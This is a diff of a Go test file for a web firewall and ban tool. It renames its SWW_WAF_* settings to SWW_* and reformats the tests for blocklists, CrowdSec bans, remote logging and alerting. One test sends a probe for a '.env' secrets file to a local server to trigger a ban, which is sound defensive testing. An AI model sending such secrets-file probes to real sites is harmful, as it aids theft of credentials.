rename(t, replacement, path)
|
||||||
|
|
||||||
metrics := metricsWith(t, url+"_sww/metrics", token,
|
metrics := metricsWith(
|
||||||
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`)
|
t,
|
||||||
lastRead = seriesValue(t, metrics,
|
url+"_sww/metrics",
|
||||||
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`)
|
token,
|
||||||
|
`sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`,
|
||||||
|
)
|
||||||
|
lastRead = seriesValue(
|
||||||
|
t,
|
||||||
|
metrics,
|
||||||
|
`sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`,
|
||||||
|
)
|
||||||
|
|
||||||
wantStatus(t, url, placed, http.StatusOK)
|
wantStatus(t, url, placed, http.StatusOK)
|
||||||
})
|
})
|
||||||
|
|
||||||
if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) {
|
if lastRead < float64(began.Unix()) ||
|
||||||
t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead)
|
lastRead > float64(time.Now().Unix()) {
|
||||||
|
t.Errorf(
|
||||||
|
"the lookup database was last read at %v, want a time in the test",
|
||||||
|
lastRead,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -741,13 +785,13 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
torURL, dropURL := server.URL+torPath, server.URL+dropPath
|
torURL, dropURL := server.URL+torPath, server.URL+dropPath
|
||||||
cache := t.TempDir()
|
cache := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
"SWW_WAF_BLOCKLIST_URLS": torURL,
|
"SWW_BLOCKLIST_URLS": torURL,
|
||||||
// The requests sent until the list takes effect, and those for the
|
// The requests sent until the list takes effect, and those for the
|
||||||
// metrics, must not break a rate limit, whose ban would refuse them
|
// metrics, must not break a rate limit, whose ban would refuse them
|
||||||
// too.
|
// too.
|
||||||
@@ -763,12 +807,12 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
|
|
||||||
// Restarted with drop.txt named after it and the server answering, tor.txt
|
// Restarted with drop.txt named after it and the server answering, tor.txt
|
||||||
// waits SWW_WAF_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
// waits SWW_BLOCKLIST_REFRESH after its failed try, kept in lists.json,
|
||||||
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
// while drop.txt, never tried, is fetched at once. Lists are fetched in the
|
||||||
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
// order named, so once drop.txt refuses the client, tor.txt has had its turn.
|
||||||
failing.Store(false)
|
failing.Store(false)
|
||||||
|
|
||||||
env["SWW_WAF_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
env["SWW_BLOCKLIST_URLS"] = torURL + "," + dropURL
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
for statusFrom(t, url, placed) != http.StatusForbidden {
|
for statusFrom(t, url, placed) != http.StatusForbidden {
|
||||||
time.Sleep(pollInterval)
|
time.Sleep(pollInterval)
|
||||||
@@ -776,8 +820,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
})
|
})
|
||||||
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
|
wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL)
|
||||||
|
|
||||||
if fetches := torFetches.Load(); fetches != 1 {
|
if n := torFetches.Load(); n != 1 {
|
||||||
t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches)
|
t.Errorf("tor.txt fetched %d times before the restart, want 1", n)
|
||||||
}
|
}
|
||||||
|
|
||||||
// After another restart, with the server failing, the copy of drop.txt
|
// After another restart, with the server failing, the copy of drop.txt
|
||||||
@@ -792,10 +836,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) {
|
|||||||
|
|
||||||
path := filepath.Join(cache, "lists.json")
|
path := filepath.Join(cache, "lists.json")
|
||||||
|
|
||||||
kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
//nolint:gosec // a file in the test's directory
|
||||||
|
kept, err := os.ReadFile(path)
|
||||||
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
|
if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) {
|
||||||
t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright,
|
t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err)
|
||||||
err)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -815,21 +859,24 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
case down.Load():
|
case down.Load():
|
||||||
w.WriteHeader(http.StatusServiceUnavailable)
|
w.WriteHeader(http.StatusServiceUnavailable)
|
||||||
default:
|
default:
|
||||||
_, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
_, _ = io.WriteString(
|
||||||
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
w,
|
||||||
`"type": "ban", "value": "203.0.113.0/24"}]`)
|
`[{"duration": "4h0m0s", "origin": "crowdsec", `+
|
||||||
|
`"scenario": "crowdsecurity/http-probing", "scope": "Range", `+
|
||||||
|
`"type": "ban", "value": "203.0.113.0/24"}]`,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}))
|
}))
|
||||||
t.Cleanup(engine.Close)
|
t.Cleanup(engine.Close)
|
||||||
|
|
||||||
dir, cache := t.TempDir(), t.TempDir()
|
dir, cache := t.TempDir(), t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
cacheDir: cache,
|
cacheDir: cache,
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_CROWDSEC_LAPI_URL": engine.URL,
|
"SWW_CROWDSEC_LAPI_URL": engine.URL,
|
||||||
"SWW_WAF_CROWDSEC_LAPI_KEY": bouncerKey,
|
"SWW_CROWDSEC_LAPI_KEY": bouncerKey,
|
||||||
}
|
}
|
||||||
|
|
||||||
// Once the list is fetched, the client's request bans it.
|
// Once the list is fetched, the client's request bans it.
|
||||||
@@ -842,7 +889,11 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
ban := onlyBan(t, dir)
|
ban := onlyBan(t, dir)
|
||||||
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" ||
|
||||||
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" {
|
||||||
t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed)
|
t.Errorf(
|
||||||
|
"bans.json holds %v, want the ban for crowdsec on %s",
|
||||||
|
ban,
|
||||||
|
placed,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Restarted with the engine down, the copy kept in lists.json bans
|
// Restarted with the engine down, the copy kept in lists.json bans
|
||||||
@@ -871,7 +922,10 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) {
|
||||||
t.Errorf("the key is shown in the output or the state and cache files:\n%s", all)
|
t.Errorf(
|
||||||
|
"the key is shown in the output or the state and cache files:\n%s",
|
||||||
|
all,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -883,7 +937,11 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) {
|
|||||||
reputation, _ := line["reputation"].([]any)
|
reputation, _ := line["reputation"].([]any)
|
||||||
if line["action"] != "client_denied" || len(reputation) != 1 ||
|
if line["action"] != "client_denied" || len(reputation) != 1 ||
|
||||||
reputation[0] != listURL {
|
reputation[0] != listURL {
|
||||||
t.Errorf("request log line %v, want one denied for %s", line, listURL)
|
t.Errorf(
|
||||||
|
"request log line %v, want one denied for %s",
|
||||||
|
line,
|
||||||
|
listURL,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -906,7 +964,7 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
t.Fatalf("exit status %d, want 1", status)
|
t.Fatalf("exit status %d, want 1", status)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := "SWW_WAF_LOOKUP_DB_PATH cannot be read: open " + path +
|
want := "SWW_LOOKUP_DB_PATH cannot be read: open " + path +
|
||||||
": no such file or directory"
|
": no such file or directory"
|
||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the lookup database")
|
line := out.line(t, "msg", "cannot use the lookup database")
|
||||||
@@ -918,7 +976,11 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) {
|
|||||||
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
endpoint, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -928,10 +990,10 @@ func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
"SWW_LOG_REMOTE_URL": "syslog+tcp://" + endpoint.Addr().String(),
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -973,7 +1035,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
|
|
||||||
// The endpoint takes connections and never answers, so the TLS
|
// The endpoint takes connections and never answers, so the TLS
|
||||||
// handshake of each waits on it, and no line is ever sent.
|
// handshake of each waits on it, and no line is ever sent.
|
||||||
endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
|
endpoint, err := (&net.ListenConfig{}).Listen(
|
||||||
|
t.Context(),
|
||||||
|
"tcp",
|
||||||
|
localhost+":0",
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -983,13 +1049,13 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
"SWW_WAF_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
|
"SWW_LOG_REMOTE_URL": "syslog+tls://" + endpoint.Addr().String(),
|
||||||
"SWW_WAF_LOG_REMOTE_BUFFER": "1",
|
"SWW_LOG_REMOTE_BUFFER": "1",
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
|
|
||||||
out := runUntilStopped(t, env, func(url string) {
|
out := runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1009,7 +1075,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
|
|
||||||
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
const dropped = "\nsww_remote_log_lines_dropped_total" +
|
||||||
`{instance="fsn1app1/blog"} `
|
`{instance="fsn1app1/blog"} `
|
||||||
if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) {
|
if strings.Contains(metrics, dropped+"0\n") ||
|
||||||
|
!strings.Contains(metrics, dropped) {
|
||||||
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
t.Errorf("no line dropped in the metrics:\n%s", metrics)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1035,7 +1102,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) {
|
|||||||
// too.
|
// too.
|
||||||
line := out.line(t, "msg", "starting")
|
line := out.line(t, "msg", "starting")
|
||||||
if line["instance"] != instance {
|
if line["instance"] != instance {
|
||||||
t.Errorf("start logged with instance %v, want %s", line["instance"], instance)
|
t.Errorf(
|
||||||
|
"start logged with instance %v, want %s",
|
||||||
|
line["instance"],
|
||||||
|
instance,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1053,12 +1124,12 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
env := map[string]string{
|
env := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
rulesDir: rules,
|
rulesDir: rules,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_URL": webhook.url,
|
"SWW_ALERT_WEBHOOK_URL": webhook.url,
|
||||||
"SWW_WAF_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
"SWW_ALERT_WEBHOOK_HEADERS": "Authorization:Bearer " + adminSecret,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1066,10 +1137,14 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
wantRefused(t, url+".env")
|
wantRefused(t, url+".env")
|
||||||
|
|
||||||
post := webhook.waitFor(t, "ban", true)
|
post := webhook.waitFor(t, "ban", true)
|
||||||
if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" ||
|
if post.alert["client"] != localhost ||
|
||||||
|
post.alert["netblock"] != localhost+"/32" ||
|
||||||
post.authorization != "Bearer "+adminSecret {
|
post.authorization != "Bearer "+adminSecret {
|
||||||
t.Errorf("the webhook was sent %v, with Authorization %q", post.alert,
|
t.Errorf(
|
||||||
post.authorization)
|
"the webhook was sent %v, with Authorization %q",
|
||||||
|
post.alert,
|
||||||
|
post.authorization,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The webhook fails, so the alert for the ban made permanent by the
|
// The webhook fails, so the alert for the ban made permanent by the
|
||||||
@@ -1081,24 +1156,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
|
|
||||||
// alerts.json keeps it as sww stops, and once started again,
|
// alerts.json keeps it as sww stops, and once started again,
|
||||||
// sww sends it.
|
// sww sends it.
|
||||||
var file struct {
|
wantPermanentBanAlertWaiting(t, dir)
|
||||||
Waiting map[string][]struct {
|
|
||||||
Event string `json:"event"`
|
|
||||||
} `json:"waiting"`
|
|
||||||
}
|
|
||||||
|
|
||||||
path := filepath.Join(dir, "alerts.json")
|
|
||||||
|
|
||||||
data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
|
|
||||||
if err == nil {
|
|
||||||
err = json.Unmarshal(data, &file)
|
|
||||||
}
|
|
||||||
|
|
||||||
waiting := file.Waiting["webhook"]
|
|
||||||
if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" {
|
|
||||||
t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
|
|
||||||
"the webhook", data, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// It counts the alert sent in the metrics, read here from a client the
|
// It counts the alert sent in the metrics, read here from a client the
|
||||||
// ban does not cover.
|
// ban does not cover.
|
||||||
@@ -1106,7 +1164,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
|
|
||||||
webhook.failing.Store(false)
|
webhook.failing.Store(false)
|
||||||
|
|
||||||
env["SWW_WAF_ALLOW_NETS"] = localhost
|
env["SWW_ALLOW_NETS"] = localhost
|
||||||
env[metricsToken] = token
|
env[metricsToken] = token
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1130,6 +1188,37 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one
|
||||||
|
// alert waiting for the webhook, the permanent_ban alert.
|
||||||
|
func wantPermanentBanAlertWaiting(t *testing.T, dir string) {
|
||||||
|
t.Helper()
|
||||||
|
|
||||||
|
var file struct {
|
||||||
|
Waiting map[string][]struct {
|
||||||
|
Event string `json:"event"`
|
||||||
|
} `json:"waiting"`
|
||||||
|
}
|
||||||
|
|
||||||
|
path := filepath.Join(dir, "alerts.json")
|
||||||
|
|
||||||
|
//nolint:gosec // a file in the test's directory
|
||||||
|
data, err := os.ReadFile(path)
|
||||||
|
if err == nil {
|
||||||
|
err = json.Unmarshal(data, &file)
|
||||||
|
}
|
||||||
|
|
||||||
|
waiting := file.Waiting["webhook"]
|
||||||
|
if err != nil || len(waiting) != 1 ||
|
||||||
|
waiting[0].Event != "permanent_ban" {
|
||||||
|
t.Fatalf(
|
||||||
|
"alerts.json holds %s (%v), want the permanent_ban alert waiting for "+
|
||||||
|
"the webhook",
|
||||||
|
data,
|
||||||
|
err,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -1146,12 +1235,12 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
rulesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
rateLimitPerDay: "1",
|
rateLimitPerDay: "1",
|
||||||
// The metrics are read from 127.0.0.1, which no limit counts.
|
// The metrics are read from 127.0.0.1, which no limit counts.
|
||||||
"SWW_WAF_ALLOW_NETS": localhost + "/32",
|
"SWW_ALLOW_NETS": localhost + "/32",
|
||||||
metricsToken: token,
|
metricsToken: token,
|
||||||
instanceName: instance,
|
instanceName: instance,
|
||||||
"SWW_WAF_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
"SWW_ALERT_SLACK_WEBHOOK_URL": slack.url,
|
||||||
"SWW_WAF_ALERT_NTFY_URL": ntfy.url,
|
"SWW_ALERT_NTFY_URL": ntfy.url,
|
||||||
"SWW_WAF_ALERT_NTFY_TOKEN": ntfyToken,
|
"SWW_ALERT_NTFY_TOKEN": ntfyToken,
|
||||||
}
|
}
|
||||||
|
|
||||||
runUntilStopped(t, env, func(url string) {
|
runUntilStopped(t, env, func(url string) {
|
||||||
@@ -1167,7 +1256,8 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) {
|
|||||||
slackPost := slack.firstPost(t)
|
slackPost := slack.firstPost(t)
|
||||||
err := json.Unmarshal([]byte(slackPost.body), &message)
|
err := json.Unmarshal([]byte(slackPost.body), &message)
|
||||||
|
|
||||||
if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
|
if err != nil ||
|
||||||
|
!strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") ||
|
||||||
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
!strings.Contains(message.Text, "\nclient: "+client+"\n") {
|
||||||
t.Errorf("Slack was sent %s", slackPost.body)
|
t.Errorf("Slack was sent %s", slackPost.body)
|
||||||
}
|
}
|
||||||
@@ -1202,21 +1292,29 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
|
|
||||||
err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600)
|
err := os.WriteFile(
|
||||||
|
filepath.Join(dir, "bans.json"),
|
||||||
|
[]byte("{\n"),
|
||||||
|
0o600,
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write bans.json: %v", err)
|
t.Fatalf("write bans.json: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The file ends at the newline that is the second byte of its first
|
// The file ends at the newline that is the second byte of its first
|
||||||
// line.
|
// line.
|
||||||
wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ")
|
wantStartRefused(
|
||||||
|
t,
|
||||||
|
dir,
|
||||||
|
filepath.Join(dir, "bans.json")+", line 1, column 2: ",
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
func TestUnwritableStateDirStopsTheStart(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
|
wantStartRefused(t, filepath.Join(t.TempDir(), "missing"),
|
||||||
"SWW_WAF_STATE_DIR cannot be written: ")
|
"SWW_STATE_DIR cannot be written: ")
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
||||||
@@ -1237,8 +1335,8 @@ func TestUnwritableCacheDirStopsTheStart(t *testing.T) {
|
|||||||
|
|
||||||
line := out.line(t, "msg", "cannot use the state and cache files")
|
line := out.line(t, "msg", "cannot use the state and cache files")
|
||||||
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
if message, _ := line["error"].(string); !strings.HasPrefix(message,
|
||||||
"SWW_WAF_CACHE_DIR cannot be written: ") {
|
"SWW_CACHE_DIR cannot be written: ") {
|
||||||
t.Errorf("start refused with %q, want SWW_WAF_CACHE_DIR named", message)
|
t.Errorf("start refused with %q, want SWW_CACHE_DIR named", message)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1264,7 +1362,11 @@ func wantStartRefused(t *testing.T, dir, want string) {
|
|||||||
message, _ := line["error"].(string)
|
message, _ := line["error"].(string)
|
||||||
|
|
||||||
if !strings.HasPrefix(message, want) {
|
if !strings.HasPrefix(message, want) {
|
||||||
t.Errorf("start refused with %q, want an error starting %q", message, want)
|
t.Errorf(
|
||||||
|
"start refused with %q, want an error starting %q",
|
||||||
|
message,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1329,7 +1431,11 @@ func runUntilStopped(
|
|||||||
select {
|
select {
|
||||||
case status := <-exited:
|
case status := <-exited:
|
||||||
if status != 0 {
|
if status != 0 {
|
||||||
t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text())
|
t.Fatalf(
|
||||||
|
"exit status %d, want 0; output:\n%s",
|
||||||
|
status,
|
||||||
|
out.text(),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
case <-time.After(waitLimit):
|
case <-time.After(waitLimit):
|
||||||
t.Fatal("still running after being told to stop")
|
t.Fatal("still running after being told to stop")
|
||||||
@@ -1345,33 +1451,38 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) {
|
|||||||
|
|
||||||
settings, _ := line["settings"].(map[string]any)
|
settings, _ := line["settings"].(map[string]any)
|
||||||
want := map[string]any{
|
want := map[string]any{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: dir,
|
stateDir: dir,
|
||||||
"SWW_WAF_MODE": "enforce",
|
"SWW_MODE": "enforce",
|
||||||
stateWriteDelay: "10s",
|
stateWriteDelay: "10s",
|
||||||
stateCounterInterval: "15m",
|
stateCounterInterval: "15m",
|
||||||
"SWW_WAF_ALLOW_NETS": "",
|
"SWW_ALLOW_NETS": "",
|
||||||
rateLimitExemptNets: "",
|
rateLimitExemptNets: "",
|
||||||
"SWW_WAF_DENY_NETS": "",
|
"SWW_DENY_NETS": "",
|
||||||
"SWW_WAF_RATE_LIMIT_PER_MINUTE": "120",
|
"SWW_RATE_LIMIT_PER_MINUTE": "120",
|
||||||
"SWW_WAF_RATE_LIMIT_PER_HOUR": "1500",
|
"SWW_RATE_LIMIT_PER_HOUR": "1500",
|
||||||
rateLimitPerDay: "6000",
|
rateLimitPerDay: "6000",
|
||||||
"SWW_WAF_RATE_LIMIT_EXEMPT_PATHS": "",
|
"SWW_RATE_LIMIT_EXEMPT_PATHS": "",
|
||||||
"SWW_WAF_TAG_DENY": "",
|
"SWW_TAG_DENY": "",
|
||||||
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES": "",
|
||||||
"SWW_WAF_BAN_RESPONSE": "403",
|
"SWW_BAN_RESPONSE": "403",
|
||||||
"SWW_WAF_LIMIT_BAN_DURATION": "1h",
|
"SWW_LIMIT_BAN_DURATION": "1h",
|
||||||
"SWW_WAF_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
"SWW_LIMIT_BAN_REPEAT_WINDOW": "24h",
|
||||||
"SWW_WAF_MAX_BAN_DURATION": "7d",
|
"SWW_MAX_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_ATTACK_BAN_DURATION": "7d",
|
"SWW_ATTACK_BAN_DURATION": "7d",
|
||||||
"SWW_WAF_MAX_BANS": "5000",
|
"SWW_MAX_BANS": "5000",
|
||||||
"SWW_WAF_BAN_SCOPE_V4_PREFIX": "32",
|
"SWW_BAN_SCOPE_V4_PREFIX": "32",
|
||||||
"SWW_WAF_RULES_ENABLED": "true",
|
"SWW_RULES_ENABLED": "true",
|
||||||
}
|
}
|
||||||
|
|
||||||
for name, value := range want {
|
for name, value := range want {
|
||||||
if settings[name] != value {
|
if settings[name] != value {
|
||||||
t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value)
|
t.Errorf(
|
||||||
|
"starting line gives %s=%v, want %v",
|
||||||
|
name,
|
||||||
|
settings[name],
|
||||||
|
value,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1411,7 +1522,11 @@ func messages(t *testing.T, received string) []string {
|
|||||||
|
|
||||||
_, message, ok := strings.Cut(record, header)
|
_, message, ok := strings.Cut(record, header)
|
||||||
if !ok || !strings.HasPrefix(record, "<134>1 ") {
|
if !ok || !strings.HasPrefix(record, "<134>1 ") {
|
||||||
t.Fatalf("record %q, want priority <134> and header %q", record, header)
|
t.Fatalf(
|
||||||
|
"record %q, want priority <134> and header %q",
|
||||||
|
record,
|
||||||
|
header,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
found = append(found, message+"\n")
|
found = append(found, message+"\n")
|
||||||
@@ -1476,7 +1591,10 @@ func seriesValue(t *testing.T, metrics, series string) float64 {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for line := range strings.Lines(metrics) {
|
for line := range strings.Lines(metrics) {
|
||||||
value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ")
|
value, found := strings.CutPrefix(
|
||||||
|
strings.TrimSpace(line),
|
||||||
|
series+" ",
|
||||||
|
)
|
||||||
if !found {
|
if !found {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -1510,7 +1628,11 @@ func writeLookupDatabase(t *testing.T, path, country string) {
|
|||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
lookuptest.Write(t, path, map[string]lookuptest.Network{
|
||||||
placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
|
placed + "/32": {
|
||||||
|
ASN: "AS64496",
|
||||||
|
ASName: "Example Net",
|
||||||
|
Country: country,
|
||||||
|
},
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1548,7 +1670,8 @@ func onlyBan(t *testing.T, dir string) map[string]any {
|
|||||||
|
|
